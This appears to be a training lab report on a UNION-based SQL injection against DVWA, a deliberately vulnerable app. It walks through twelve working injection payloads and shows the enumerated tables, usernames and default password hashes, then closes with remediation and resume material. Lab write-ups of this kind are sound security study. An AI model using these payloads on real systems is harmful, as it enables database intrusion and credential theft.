

DVWA SQL Injection Assessment – Full Detailed Report

Prepared by: Piyush Kumar

Environment: Kali Linux | DVWA | Burp Suite | Nmap | Metasploit

Executive Summary

This report documents a complete SQL Injection assessment performed against DVWA. The assessment demonstrated identification, validation, and exploitation of a UNION-based SQL Injection vulnerability.

Objective

Identify SQL Injection vulnerabilities and demonstrate database enumeration, table discovery, column discovery, and record extraction.

Scope

Target Application: DVWA
Web Server: Apache 2.4.66
Database: MariaDB 11.8.6

Tools Used

Kali Linux, DVWA, Nmap, Metasploit Framework, Burp Suite, MariaDB

Reconnaissance Phase

Nmap and Metasploit enumeration identified Apache/2.4.66 running on port 80. DVWA was accessible and directory listing exposed the DVWA application.

Step 1 – SQL Injection Validation

Payload: 1' OR '1'='1
Result: Multiple user records were returned, confirming SQL Injection.

Step 2 – Column Enumeration

Payload: 1' ORDER BY 2# (Success)
Payload: 1' ORDER BY 3# (Failed)
Finding: Query contained 2 columns.

Step 3 – UNION Injection Validation

Payload: 1' UNION SELECT 1,2#
Output: First name = 1, Surname = 2
Finding: UNION-based SQL Injection confirmed.

Step 4 – Database Enumeration

Payload: 1' UNION SELECT database(),user()#
Result: Database = dvwa, User = dvwa@localhost

Step 5 – Database Version Enumeration

Payload: 1' UNION SELECT @@version,database()#
Result: MariaDB 11.8.6, Database = dvwa

Step 6 – Table Enumeration

Payload: 1' UNION SELECT table_name,table_schema FROM information_schema.tables#

Discovered DVWA Tables:

- users
- access_log
- security_log
- guestbook

Step 7 – Column Enumeration

Payload: 1' UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name='users'#

Discovered Columns:

user_id, first_name, last_name, user, password, avatar, role, account_enabled, last_login, failed_login

Step 8 – User Enumeration

Payload: 1' UNION SELECT first_name,last_name FROM users#

Users Found:

Gordon Brown
Hack Me
Pablo Picasso
Bob Smith

Step 9 – User ID and Role Enumeration

Payload: 1' UNION SELECT user_id,role FROM users#

1 = admin
2 = user
3 = user
4 = user
5 = user

Step 10 – Account Status Enumeration

Payload: 1' UNION SELECT user_id,account_enabled FROM users#

All accounts returned account_enabled = 1

Step 11 – Username Enumeration

Payload: 1' UNION SELECT user_id,user FROM users#

admin
gordonb
1337
pablo
smithy

Step 12 – Password Hash Enumeration

Payload: 1' UNION SELECT user,password FROM users#

admin : 5f4dcc3b5aa765d61d8327deb882cf99
gordonb : e99a18c428cb38d5f260853678922e03
1337 : 8d3533d75ae2c3966d7e0d4fcc69216b
pablo : 0d107d09f5bbe40cade3de5c71e9e9b7
smithy : 5f4dcc3b5aa765d61d8327deb882cf99

Risk Assessment

Severity: HIGH

Impact: Database disclosure, user enumeration, credential hash exposure and information disclosure.

Remediation

Use parameterized queries, prepared statements, input validation, least privilege database accounts and Web Application Firewall controls.

Skills Demonstrated

SQL Injection Testing
UNION-based SQL Injection
Database Enumeration
Table Enumeration
Column Enumeration
User Enumeration
Web Application Security Testing
Nmap
Metasploit
Burp Suite

Learning Outcomes

Understanding of SQL Injection workflow from vulnerability discovery to data extraction. Experience with information_schema enumeration and database reconnaissance.

Resume Bullet Points

- Conducted SQL Injection assessment against DVWA.
- Identified UNION-based SQL Injection vulnerability.
- Enumerated database metadata, tables and columns.
- Extracted user information and password hashes in a controlled lab environment.

GitHub README Description

Performed SQL Injection testing on DVWA and demonstrated complete vulnerability exploitation workflow including UNION-based SQL Injection, database enumeration and user enumeration.

LinkedIn Project Description

Completed SQL Injection Security Assessment on DVWA using Kali Linux tools. Demonstrated database enumeration, table discovery, column discovery and controlled data extraction.

Interview Questions

1. What is SQL Injection?
2. What is UNION-based SQL Injection?
3. How do you identify the number of columns?
4. What is information_schema?
5. What is the impact of SQL Injection?
6. How can SQL Injection be prevented?

Conclusion

The assessment successfully validated a UNION-based SQL Injection vulnerability in DVWA and demonstrated a complete attack workflow from identification to enumeration.